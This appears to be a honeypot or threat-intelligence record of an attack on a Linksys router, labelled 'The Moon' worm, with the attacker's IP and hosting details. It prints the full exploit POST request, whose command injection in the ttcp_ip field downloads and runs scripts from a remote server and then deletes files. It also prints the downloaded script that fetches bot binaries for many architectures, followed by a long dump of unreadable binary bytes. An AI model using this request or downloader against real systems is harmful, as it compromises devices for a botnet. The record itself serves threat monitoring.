Help on available search operators
Operators
tag: filter by relevant keywords (e.g., shellshock)
port: filter by destination port
attacker: filter by attacker IP address
country: filter by attacker country (2 letters)
since: filter since provided date (dd/mm/yyyy format)
plugin: filter by plugin ID
resource: filter requests with a resource with the given MD5
Hints
The minus operator - can be used to exclude the results containing a given keyword.
You can combine different operators, or provide multiple values for each one using comma as separator.
e.g., port:80,8080
e.g., port:80 -scripts/setup.php
e.g., upload?org.apache.catalina.filters port:8080
1-1 of 1 results (1 page)
Linksys "The Moon" Worm
[Attack info]
Attacker:
209.141.51.85
Dest. port: 8080
Time: 11/09/2020 15:37:17
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS53667 FranTech Solutions
Location: Nevada, Las Vegas (zipcode 89101)
rDNS: clientvps.com
Description
The worm appears to extract the router hardware version and the firmware revision. The relevant lines are:CVE
CVE-2002-2159 , CVE-2008-1247 , CVE-2008-1268 , CVE-2008-4594 , CVE-2009-3341 , CVE-2010-1573 , CVE-2010-2261 , CVE-2008-0228Author
UnknownPOST /tmUnblock.cgi HTTP/1.1
Content-Length: 736
accept-encoding: gzip, deflate
Host: 176.94.18.109:8080
Accept: */*
User-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.33.1.el6.x86_64
connection: keep-alive
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h+%60cd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+http%3A%2F%2F185.172.111.196%2Frouters-eps.sh%3B+curl+-O+http%3A%2F%2F185.172.111.196%2Frouters-eps.sh%3B+chmod+777+routers-eps.sh%3B+sh+routers-eps.sh%3B+tftp+185.172.111.196+-c+get+routers-eps3.sh%3B+chmod+777+routers-eps3.sh%3B+sh+routers-eps3.sh%3B+tftp+-r+routers-eps2.sh+-g+185.172.111.196%3B+chmod+777+routers-eps2.sh%3B+sh+routers-eps2.sh%3B+ftpget+-v+-u+anonymous+-p+anonymous+-P+21+185.172.111.196+routers-eps1.sh+routers-eps1.sh%3B+sh+routers-eps1.sh%3B+rm+-rf+routers-eps.sh+routers-eps3.sh+routers-eps2.sh+routers-eps1.sh%3B+rm+-rf+%2A%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Resource ( 1 / 11 )
MD5: 94f5a2773421aa2db841b1b446d74b6a
Type: text/x-shellscript
Size: 2019
URL: http://185.172.111.196/routers-eps.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.x86; curl -O http://185.172.111.196/bins/crsfi.x86;cat crsfi.x86 >swfdwu;chmod +x *;./swfdwu routerz-ep.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.mips; curl -O http://185.172.111.196/bins/crsfi.mips;cat crsfi.mips >swfdwu;chmod +x *;./swfdwu routerz-ep.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.mpsl; curl -O http://185.172.111.196/bins/crsfi.mpsl;cat crsfi.mpsl >swfdwu;chmod +x *;./swfdwu exploit-usa
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.arm; curl -O http://185.172.111.196/bins/crsfi.arm;cat crsfi.arm >swfdwu;chmod +x *;./swfdwu telly.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.arm5; curl -O http://185.172.111.196/bins/crsfi.arm5;cat crsfi.arm5 >swfdwu;chmod +x *;./swfdwu telly.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.arm6; curl -O http://185.172.111.196/bins/crsfi.arm6;cat crsfi.arm6 >swfdwu;chmod +x *;./swfdwu telly.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.arm7; curl -O http://185.172.111.196/bins/crsfi.arm7;cat crsfi.arm7 >swfdwu;chmod +x *;./swfdwu telly.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.ppc; curl -O http://185.172.111.196/bins/crsfi.ppc;cat crsfi.ppc >swfdwu;chmod +x *;./swfdwu telly.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.m68k; curl -O http://185.172.111.196/bins/crsfi.m68k;cat crsfi.m68k >swfdwu;chmod +x *;./swfdwu routerz-ep
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.172.111.196/bins/crsfi.sh4; curl -O http://185.172.111.196/bins/crsfi.sh4;cat crsfi.sh4 >swfdwu;chmod +x *;./swfdwu routerz-ep
ELF �@ 4 4 ( @ @ m� m� A A D/ ,��YTS��
8� 8� � U ?�E�h;�ަ#ڙ� ��b�L 1/���[R����I-8��2�2�U�q<��4�{������w?�� �1��#�ر@/��� \� �� �)�,��}��C�|3�w�5{Te�\�� �9��&�>��w�ttL���MI۾s�߳��@E�UKU'��g�#���p$��H��}1�+"9 �Nu{�H�ߊ���y�ԅ�^C�έl�@!oF�g�C>%+�Zؤ?P-v��O��
X��-�+R��F���q����?
`�
��Z4���l��Ŗ����F�g'�\m��g՚$q�Ɠ&W�1d�&��^ގ��USe��O�,�����3��$t�zF�^3��睉�RSZ�a*g�$����_L��H\#��}��C�>0�D�d��`�������v�h8�n(/ߡ��=�)�l*bq>�8�Z�p�-\
DQ&U���ܩ���Bu��7��n��#��ܔ����m�0~:�s����@�������9�;4����M�[�.��c<\�X�5a�ޡK��>��ؑ90�����
�+�ޞ��s�}̯;�6Ȏ��� �pĴ �8��ډ���F���Qs�8Q��!� xO�1�mH9�5��p�3-]z��aI��椾5:E���������r�=�:)���C����-� �LA�j���.}"zJq�k���U�a� |j�Pڣ���~�n�g��"�Iq��!��ߓ�ݍh���W[j~z7�)߁x�/�n����~�@��L��1�;�74�Y����a����z�ԉ�F1�/Z'�_wZyg�[D���b{���ٿ�~,s([email protected]���K��TkQ���S�7��&U�wm���������k�`kh�HBI`;�%�B"P��-xe^��Ă�7�*%q߀�Mֿ^���\�|��+Ŵ�(D�1EA>`�r��+�;^M`j�4�W���&Y�-/b�=8��/'r�Sy�
�X!����/��c�F �C�L6-ۼ_/�n"�7���
�����^�R%�����\-L�s��������6j�j��!���a�[email protected]���+�;Z�D�{U�����������U 6�H �A2�m{.u�>�v%�y�<v0Hȫ��HU����������v���~�Hx�oW�ps�w��qݔi�Or/t����D���A�T�C[h|��nV8�N7§��YpM����B�2�9خ���Ib�+g���+L���u���O6�%L�q�n}|W�`���oNC�O�u�ߜ<�7PYI�ę�맽c�BG�)��V�`p5�hJ2�OJߤV^?T�p/�$�ï�qG�V�a�;�lM(V�nWO!��W6��M� �L��oG�p��Z��Sw!��8�<N}��2<����G����Gv� x�עN�
K��l_�2g&e���WW|��|��q��&�Bap����!�1mdDŽ��d��PL�,���;��{�| c��������o�zC?�.̾��<�q�#���B6��\�ˇ��C|��E)�X�5��0}��+�-��Q>KVT.P4���t� �����J�3 p?
1����SNYP�ez�'��`��w?���9�6݇�-!1�5���z�BY�]+��-��V�n�����N&�_��� �r.���}����V����>��f���:4{�|���`������2�q�!(��/�'�oM�Q�c���� ��aBǚ�����D�r�*�g�_�Y�_a$`��V�h�/*'�xK(dk��7J���=����8��l9�X:�[��K�S�߶�K)C�+��ş�K�l��{ld�j��bx��'�Q�Zw0
8�#7B*p��#'2C�gP�t^9��$��*ɳbG��e��2�FU���0�Lh�Bi`�I m�̀�AK��J�?�H���_��H�o?P
���O?�� �z�0�oR�0/u�2�-iE����m9���[2��Y�e��2ٙ��m ���F_ �r��[e��mn���"�����ks4�x�|��bs���#b�=�^��P�x�5�*Ʀ=�Eq��V8�[email protected]`^�~ȁL��o]�P��䎓X�ܹ���LQI�X���C��*�b#.��\�kWO,R'M��`2GYЬ���'*�
�k�+:�ӛ}�弪5�k;�l�H�+g�r���0��/n�x��$���,����|2������}ּp^Z7%F���!�O���P_U�H���.�9�T���@N��J6�UQ7�q��Z�ߞ K���݇u�\�h: ۃѝ�n�<%��&-����a/S�e�J9sa�]���ު�-ǹ�^:�F
��ּ������%c��J�B,iX���d�IP�,��V�P{�-ݧ����Lu�.��Z¦l�P�c���k���^�zF�ZȞ���}1�<9�<V_k"�I��~�'6϶�������oh�f˘j;i�3���ͥ���-�3��,=j�
p�
_ZV�W''{�+$��mV�+L4���@��㼛B�<n�>Bے[email protected]��K������Aa�s�ȪB�u����/��~��wШ�PYodosa�����o�s��RX��mWM�;sB��"�l��3�\�b�������� �%̋�7#<��"��:�<(B��Kե���v�ǩ��J~�� �.���XLP~�1��+��0�%��J���+�"̓u�k��2y�Fa��Mv� �{{�r,�ByF���!>���:��>�ʂ�,�W�lD͌��ƫ�0�L��`Ð)�ìr���l�k���C%��[�l7�}�2��xs�V��#�3�=됺5ڄZ:.Na` �o��Q�K�p��W2{����#����HG��k�7��P�g�b7��Y�yR�|pN��)Ld)�0w,`�Z�T;O^����^!�0^#b��~���������ml��J�=L�+��f�=
<��=ҮI�C4JG;����^�U�ޞ�}��X6��h��M�FS3�r�J�'�<�6��g�3��f=�JhaXG�S�>�8�3:W�cI��>���Ѽ�j]?
~�d��c��z�9=�I�"Ȥ`�ц�^�3�(G�l�t-��p�����{�� �
��FӺLmF������Df���u�׳ZFyFZ8n��6�DP����n�q����\�~���������q�h0�29�h���1!i
e3� 5�:�L�*]d����L&�Fr��a
n�X��%�u��D=z~����6��w��B �ӹ���>˼����|I;2�a?s�!}�����P2^d|�y�9��2� �چ��mڠV�-��AD�1}˴)A��k9AW�k��o��\7W�H?!���:\s�4F�Di���woiS��r�ӟZGm巍�W�K�[email protected]�o����>F0y�U�"T.��Mz�^��Qg�Mݻ��τ�1�� �F_�F��J�`�i��a�R�
��>E������X^ړp'N�&d�(/��aӅ��֖#�t0���9��n��!��,~�x&�eY�
�у�PmX�T�j�.jQWt��'��'~,O;�
����<���Q�v�%�֟��
&��f�^)3Q�
2BԏJSҸ
��LI�`�m�mj kv�r5M�Q�;o��T?a�Y�R}w���C��V��l[��˺�h���ō��X��j.��+bH���������Z��'͔��h�n��Y��&}�&.���Z]&�3q �P�X��L\�f����.�Lo��&�}�N(��Ă;���O�7��a3��UҝT�����'�$F���tB "���$�[email protected]����0ܤ�Er�^Q�x��h�b�*n!0�HB�G��6��+E���=�}(���8��!��V��86�ZN�rNX8���8�j�r<QL�Rt ����ac��M��Ί��L�y�k�R��V�`��I�K�� ��F�ӷ)X�����G:5�)ʲ��W�5��(-.�5YyE/
ZjO�<�����g��Y9&��A��h������,z��*���Y�s�Q��嘩��&�oՊ�L���������̡ձhϴsv������\{��g'4�4��?�3a��Z��-f�q�=�(��t���6����L�
�G)���K�-�&��U�P��WH�85،2zj0���~Q�#�1&ݬ���E����b��?�mz��A© ���"u���&�wQ�A���h� ��Ư�z�6YҾ\�h�X���,��{l�ޥ.�#�Q���O�֞|3A} �(�k���KL%ͽY2�$��k���>�bsXX*��v���O9j�#�1O��{�� �5k������E�m2'�4�t��s�h���d�h�n�_���6���Q�
.łZ�]���Td�6��
�7 �Qz���r��5`��S�I���@��S��p�B�ceFr���{�Gһ�:e��N�N6�"t0���h�%}����v!>$�o�J���hFqs<H���m%�/�E��杚P2aC�+�!`m�Q�(��]��X�N�
29a)MUx���GLR�(��X-�)�^�Z�H"46e�)�1��_�V�Y�������Ho`/���U�.�{�<hln3����̑��}�[�wpƝ�E�h���Y8��fK�Hd�qq~6U��X�a��;��?�S�S�_��Ӣ�7�yp��܈$ēF ��/��NلZ�v�7G�[C��ӵ�"�:�J3
��T��ʓyy��Jz7�Fb���q�{\<A��FRu��H2�+�S�8����� 0! ����Q0
[email protected]�������i4L�A�C'6xe[���|���#Ć`e���3FyH;�x?�DX�^��/�mҋ���en��Z����7XZ�^ܡŰ"�c���)NE�`!���W�w���[email protected]��Qq�MKagϷ�[email protected]�̠h\x�0��O�J����a �O�&E����&A7j.Y!C�����f�Ԡ(y9=K' #t�0�_�xŨ����B�N�Z�έ�.\�����6���S���F�i "�4�<#�� �h�p���ZTWtz��!�����33tv�b,F�e�W���IJ��<��N���:g��ӈn����9��?��~�L��۔�aa����AX�fq�L��a���x�&r�:�������ΗvwZ���Y:'%4�K=4��� �I�Yc,ǞAg�V�a�q92g�H�\#��P����ER��i�[���
X��j0�v�c(A�su��0}��6��/5�Ha�!��쀿���a��n.�$w�][�oK9!�4R⑯�M �#��c���U
DdRǢ�YV��c�����FW˧�'q)�Ëm��zP5��U��VW9�]sGrO�����~k�꧋�ax�:��&|�ӽ��M(�
ū].�>R�����]fQJ;�`�kK������Ld��]����5�.jo>���+��ǓK�0*?wA妭�� ����Sh)D�b���+_��n�����?k=m���&х�fJ�a��,"*Ȯ�1�<�b��݂<�??s��G�*&��ź��m��P R��!ĉ�Wϻ�.K<D�����#g��
a5�K�c���K��G��X�����Ց s�z�,���_�D˽��j+��pYp�I���������E�f_��,���*py�<�6Ò�WJtE�Wi�07� -��e�4���|Z':�K7�
'�ɚ�q�
4����fg�~�'�J�������W��:�.�@A�^��g�VwZ����5Z�L��M���7'���DZ��4�{���Z�}]O������ň(�E���.`V�́S��\+� d5=YOXe���X�l��x��)0��#����_�3��F�EC.�7Oy!�P�^ʆ�{����_��ӶL���'���ͨ8XM/+�"�k����]�m��m�<=n&-;�h\
}�e֑�`&��L��P�f��N_��l}m���~ft<���2/�;�R�à�,=d��/��U��}�<"O�ܹ8k*��;r2��1|@�&�c���i�|�B$\r��C�E�e�O�*\�G���uk��л�N����ھ��Pp#Z��(�eG�n^�z\]��}u�x���*�Zs���+Q:V8io./0�n'.�mXSS%�gxɡ�+�w�#�ί�
w��Q�v������ؕ�T˨�y9�'�.mŽ���k0r�(�s^��жA-��p���v�mӸ����*Lk�DfQy��m��ۋ��. Ξ�C���r���{�Բ���m�@Bk�:�$���v�9���xWa����j?�r��Y}�
�*,G��X�b.��Gx�#���(vd�ݚ2�ݞ��"�|g��^�j��qRVV�ub���p�!`���S�0��K��5�SE�U��ɾw��II�)X�mVN�F�Qh��èM�죅��j`W���5H�O묮����1�or[!&��
�ba�7��S{�胼;��ʼn�����n{b�!�=¦\�r}<�R�l|�Ki߇��Q�ǽ�j���%��xs�ݟ��=!��P"������"PFU©e���ܪ�#\=���OI⒬��ܐ��>Db����FK�4��Q
��)��UH�2�;j��/��2H?���F~��3C�ŭ�^��Ď��N#��&����ră;`b�LDŽ�����k�U�
}j�3��v��&k�c�[�P�2�"
*�@�=!���}��n.qH�
"��c�c��"CZwuߦ2}8z����C�::��l���5���L��2j���G�{�\�m�ՠZ.���>C�{���<��o$�'��TB�\��O��v5b"cGg3i�J�.W�����!��.��b$�dع>���7�:��~i�"�ou����{{����1�0�5���.0)�'���6���wۇ,Q�2��A9��Arͭ+u�ÿ H�
S���-8\�!�,U֘�1���t�8��>��ʟ��s�Q�z�W��5D�9E>�ߝ�!B��7r��0����`������%j�"�Ӊ�2�2��9yP��p�նz�[email protected]���u|_��g�v�0��V�o5�BqK�^w�F3k4���蕖�je?���5��a耮"�� ���3 ѿ��/��&�!��&�Q�)��*C�>��\ĩ��"EO�D1ʯ�i_LwHIr4���`�5��8in� ,a�<�諻�e�0���/UW�2T-�bgPQ.^Drl0���B5�'�Hg��.�/.C,����w�����`H7c���&*Q�~��V�����'!g3w��{Dƣ��Dv��
�k����B^�\7�L�}T����T���?Go������9.�\f[h���O�y ��Z6����{�ZUvb9N�� -���MΨ����8������� �7��@�pqy�r?��M�o}�m�] �K�0gI `�c�cL�է�H�b�t�����h
o���N�H�;��;�6����a�$�lY�|w�!ۓi ���J+�<s�8���n^^4DG���9���u�� &�&��`U`̈́��Ш�����g2'a
J�#��do5�@����-)���:TOяP+��Gom�j7☎4|jiȶ�Ę�|;���#R�ɀ�e�>z,u���'Z����L߭Jb��8�Y��Z���@� ���Q�G�{���W�^��bUT�3�db�ɑ�G�X�uH*��{�
�z��!mF-�Jօ+��8�gV�Q�0֒�X�'y�t>�I-��1ۿӣLI�b �ǚR�R���t~�!X�Ƀ7C�H�Y�e�4��.�qp�.yè��M����6gC������! �"`qu����G�C4�~O�
�3TG\�pۇ����f��(�v,O����ף!(�!(�]Iqeh�(g ��P���
�F"pC�/5�d5P`5�`4ӎN���
���2��ϸ�욟��+��`�X�W\�:đ9=�)Mj'�z�ޏ�����C� �3�dX�y��X��w�1R�S���?�-
űv�=��*� X�C��S�z�E ����7�Rt�-Ɗ�4�n��;�[8�`����@���
���\����N����v��|�JjS�
�>�R���7�4�\q�k3��1��wݠ�M ��o"�Q�̩��:��� n�F��*9����
����<~8��%cJј���ep�~𝟅�L0C:|��]H��┮���6�[email protected]�>5]GK��z�Y[�:1��H5aW��Uw9��P!��7-dr�v�f�ݪ8#��E�`��I������P�k��?q8~��O�]
�@ow�<>5��.�ҫ|A?�p߉�s?��_�~�/��K�ITh�2\g�Ym�iv����t.��g4%NH5)ır�:�����{��4��4p5��q�SC;��&G
���f�y��{B R�BFH3R3彭)��GD~�����T��Byh�K����W�ڐ)�K__�o�q�"�Y�SB��S���+x{���͍����ER�f7/d�8��)yq���;t�6�����T��ꮗ��E��
Bn�1~�yu�N%��J��
����J�[email protected]���b1R�b=�uV`����v��U?�����U`�J�l���v|S4���L�K��S�
.�ߝ�?
6�|H���t�NL�2��ؼ� ��tp��sX(�? 7=<p~>uWt��;R�v�:Ѽ��`��V�.�O&V�G�?�Ӊ��3��Ej��y>�ʹܟ����"����^ܹ��t�_��0hp��o�a��
)��s��{�-�v����m m��/�i_�\���zB[�<.��&q-�b��lh��ak�;��D�2J�,^W|��N�O��W2�d�vY��?�(�����_ e�!>M�BnK�B��C�_%v{�[|��ɾ��|^&sΣ!�DN-�
��mU�'e�S$X���
\�Sl�M,�Nm�O%����qV�� o����2��p���2��x��.U q�EE&d�~�r�)��0K�]��q���n����Aj'Ɯ�E[ A��}</�)��~����z�Th������ d���Y����C��\5�T%��BѢ�-V F����_χX�FW����G���[email protected]�&��
e�%>۱v����D�i��P�J�aS��>�F�#�-)�b(��gӉSX0�W�r�#��݊|=�� j6�$>8W ��|U���V�w��Û���B����hP\ �~k��J�v_.qS�qY\��F���ظ�B�Ji���gOlx�a�����I�`���n� �v���N�`w �ѫ�|� .��)�al?e�t�#
A*�:7<嗻�sm�H��y�) NB��La�N��W3F�D�8-#vHJ
����ap�)\�$����}}S5�f���qw�JN�+W�NXv$5{�LV��
���x���@�=�1��ɔ��bv�~Ύ�/fSz]]Y��ުUT{_��Mw>�n{�c��#yw���C�&�\�!��|��G��U�Eи� �:_-g��W���ҥ���Q4F"b6��R4�j�A7�[���}d�=�|��w����)������#m+�r�k���y�ٚ���υBw^-�L�p#6#�@89 ��"��t�x�uM���
���ɠ��%ި�. �.�;���[|�u�ҌC�B��7�
Ŏ���ɏhlEQ�<����»�NO�z͞�����(:XƆO���y�Q�U��x�lg�Ԯ�S�l�[email protected]